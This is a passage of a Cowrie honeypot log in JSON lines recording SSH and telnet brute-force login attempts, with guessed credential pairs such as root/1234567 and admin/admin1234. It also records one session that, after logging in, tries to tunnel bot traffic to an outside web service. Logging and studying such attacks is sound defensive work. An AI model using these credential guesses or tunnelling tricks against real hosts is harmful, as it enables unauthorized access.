etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:40.083426Z","src_ip":"45.153.34.195","session":"5c63741b4cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@12345","message":"login attempt [root/Abc@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:40.708132Z","src_ip":"45.153.34.195","session":"5c63741b4cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:41.912516Z","src_ip":"45.153.34.195","session":"5c63741b4cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38344,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f9a311d975","protocol":"ssh","message":"New connection: 45.153.34.195:38344 (10.17.0.5:22) [session: 28f9a311d975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:42.984804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:42.989210Z","src_ip":"45.153.34.195","session":"28f9a311d975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:43.072028Z","src_ip":"45.153.34.195","session":"28f9a311d975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:43.555291Z","src_ip":"45.153.34.195","session":"28f9a311d975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telegram","password":"telegram","message":"login attempt [telegram/telegram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:44.551358Z","src_ip":"91.92.40.36","session":"39917205bf8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:44.638668Z","src_ip":"45.153.34.195","session":"28f9a311d975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.428064584732056,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:44.858473Z","src_ip":"128.199.8.54","session":"671015ec5a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38348,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ee0b7e24b42","protocol":"ssh","message":"New connection: 45.153.34.195:38348 (10.17.0.5:22) [session: 8ee0b7e24b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:46.016567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:46.023723Z","src_ip":"45.153.34.195","session":"8ee0b7e24b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:46.113606Z","src_ip":"45.153.34.195","session":"8ee0b7e24b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48194,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a6019b46963","protocol":"ssh","message":"New connection: 91.92.40.36:48194 (10.17.0.5:22) [session: 7a6019b46963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:46.230842Z"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:46.428985Z","src_ip":"45.153.34.195","session":"8ee0b7e24b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:46.970107Z","src_ip":"91.92.40.36","session":"39917205bf8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:47.512475Z","src_ip":"45.153.34.195","session":"8ee0b7e24b42","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:47.712653Z","src_ip":"91.92.40.36","session":"7a6019b46963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:47.760329Z","src_ip":"91.92.40.36","session":"7a6019b46963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38364,"dst_ip":"10.17.0.5","dst_port":22,"session":"40ce5fccdaaa","protocol":"ssh","message":"New connection: 45.153.34.195:38364 (10.17.0.5:22) [session: 40ce5fccdaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:48.995482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:49.007353Z","src_ip":"45.153.34.195","session":"40ce5fccdaaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:49.078056Z","src_ip":"45.153.34.195","session":"40ce5fccdaaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b2","password":"123","message":"login attempt [b2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:49.395224Z","src_ip":"45.153.34.195","session":"40ce5fccdaaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:50.478350Z","src_ip":"45.153.34.195","session":"40ce5fccdaaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":54526,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c66cba54e4","protocol":"ssh","message":"New connection: 23.175.50.47:54526 (10.17.0.5:22) [session: a9c66cba54e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:50.590465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:50.594595Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:50.668587Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38376,"dst_ip":"10.17.0.5","dst_port":22,"session":"f083d6ff8e8c","protocol":"ssh","message":"New connection: 45.153.34.195:38376 (10.17.0.5:22) [session: f083d6ff8e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:51.828725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:51.839602Z","src_ip":"45.153.34.195","session":"f083d6ff8e8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:51.927100Z","src_ip":"45.153.34.195","session":"f083d6ff8e8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:52.225585Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:52.243707Z","src_ip":"45.153.34.195","session":"f083d6ff8e8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:53.327228Z","src_ip":"45.153.34.195","session":"f083d6ff8e8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33386,"dst_ip":"159.203.135.109","dst_port":23,"session":"3645d2aee8ee","protocol":"telnet","message":"New connection: 172.81.62.90:33386 (159.203.135.109:23) [session: 3645d2aee8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:53.813335Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:54.595114Z","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:54.652364Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; S5 Silk) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MDJeT31qb0ZlbGEzbFBZZQ%3D%3D8%2Fr9X9JfDA2tXBypAgNA%2BN%2BcFWZiMa%2FvY5Kk8GPw%2B1ONBu39e6UE7HAyVZBciY9taNYYJrIBiXLtt9x%2Fw3aMORM3F%2FEwWg6yd8jcpDOLp8SZFVgDUfb5%2FEkFa4yKlsEKVO4xb6wL%2FtGTO2Ba5m%2Bb0mWrVRf2ZHV6MJD1khxIRyeOUwdqoY43B7b9cSCUjfz%2BoEXYZDxKoGNnRrr7sCm2MOvOXXyKfx6RE4uZlBYtEHi2AgKg2qzS64qd68RWOIPrEoQYlcVdgKqfSvS1BdPyzGxecnyGiLZWl7OTxjwnzf9NEkYr4VPXFeggpzMoTNyeDQa6zwjTo1b1uHg0UlDURWdFoQHtzMBy%2BRQ1z6g%2FP9a%2B2IE0PwTxA%2BrMxdSjDwjVi7r9pDWZqFR%2Bq76FLqlNdNYdNnVHQFgqboo2xaxHYUIN8jtDYLJGYuZBKK%2BahyLh86jxDWLcvO0GsOKD4%2BHtGYysVoXpnn1CJE%2BlMOpHLE1ZgQ2pusgJ9AuYi7sDksV3famWbWYiz01LUMQOs5OWFqAdDFSm2MDI7OiZcpgxyJGyBQ9rqnniJG2wp251MRdA6ryv3QfWN3Rnla0WmrtdAvlIHaWLy1%2BevZoZbRTbMc32mwAe%2Fe8LQGoYpZqDaWLvLUxQEGhH7iQwdJXLFucx5gBr%2FaT8vArGayxFHhzfXGSBYwPcOl3i79RFzKc%2FPRivbrLTnVUjMx6LPX9i4vdzx7kMcesF%2FEal2hqosNaptzO5Sq35OQuxnYurzhLoMlwDp5EIc4q744Z5IFR%2FyQZbCw%2Bmy1pll6CAZESIefZsV%2BLaLL679iP%2BpEokA%2B4mTm6G0iK3sz1S7%2Fo9gqMJmoQwmWJIiu%2Byve1gCEh3cP556e4JN9SfRjh5tnwC8El24kLAVjO2Koxwh1OBqC%2BUhOwGDzkE%2Bze1SwGxSQClKBXk8gUfIvsHng%2FSCHdPU9HReR%2BFqVEhwiUgcVyzQYOO%2Bh9M9yeVhYKSlSWyQ6B6P2%2FAGipIYDAaMOcszf7zcylN5FXHrRtpG4Dz2pj0Jp9HDnnvT2FDEj9krZTVnrOu4NA%2By54PucufZYGCgGoUF%2FLUJ%2BeO'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; S5 Silk) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MDJeT31qb0ZlbGEzbFBZZQ%3D%3D8%2Fr9X9JfDA2tXBypAgNA%2BN%2BcFWZiMa%2FvY5Kk8GPw%2B1ONBu39e6UE7HAyVZBciY9taNYYJrIBiXLtt9x%2Fw3aMORM3F%2FEwWg6yd8jcpDOLp8SZFVgDUfb5%2FEkFa4yKlsEKVO4xb6wL%2FtGTO2Ba5m%2Bb0mWrVRf2ZHV6MJD1khxIRyeOUwdqoY43B7b9cSCUjfz%2BoEXYZDxKoGNnRrr7sCm2MOvOXXyKfx6RE4uZlBYtEHi2AgKg2qzS64qd68RWOIPrEoQYlcVdgKqfSvS1BdPyzGxecnyGiLZWl7OTxjwnzf9NEkYr4VPXFeggpzMoTNyeDQa6zwjTo1b1uHg0UlDURWdFoQHtzMBy%2BRQ1z6g%2FP9a%2B2IE0PwTxA%2BrMxdSjDwjVi7r9pDWZqFR%2Bq76FLqlNdNYdNnVHQFgqboo2xaxHYUIN8jtDYLJGYuZBKK%2BahyLh86jxDWLcvO0GsOKD4%2BHtGYysVoXpnn1CJE%2BlMOpHLE1ZgQ2pusgJ9AuYi7sDksV3famWbWYiz01LUMQOs5OWFqAdDFSm2MDI7OiZcpgxyJGyBQ9rqnniJG2wp251MRdA6ryv3QfWN3Rnla0WmrtdAvlIHaWLy1%2BevZoZbRTbMc32mwAe%2Fe8LQGoYpZqDaWLvLUxQEGhH7iQwdJXLFucx5gBr%2FaT8vArGayxFHhzfXGSBYwPcOl3i79RFzKc%2FPRivbrLTnVUjMx6LPX9i4vdzx7kMcesF%2FEal2hqosNaptzO5Sq35OQuxnYurzhLoMlwDp5EIc4q744Z5IFR%2FyQZbCw%2Bmy1pll6CAZESIefZsV%2BLaLL679iP%2BpEokA%2B4mTm6G0iK3sz1S7%2Fo9gqMJmoQwmWJIiu%2Byve1gCEh3cP556e4JN9SfRjh5tnwC8El24kLAVjO2Koxwh1OBqC%2BUhOwGDzkE%2Bze1SwGxSQClKBXk8gUfIvsHng%2FSCHdPU9HReR%2BFqVEhwiUgcVyzQYOO%2Bh9M9yeVhYKSlSWyQ6B6P2%2FAGipIYDAaMOcszf7zcylN5FXHrRtpG4Dz2pj0Jp9HDnnvT2FDEj9krZTVnrOu4NA%2By54PucufZYGCgGoUF%2FLUJ%2BeO'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:54.655317Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
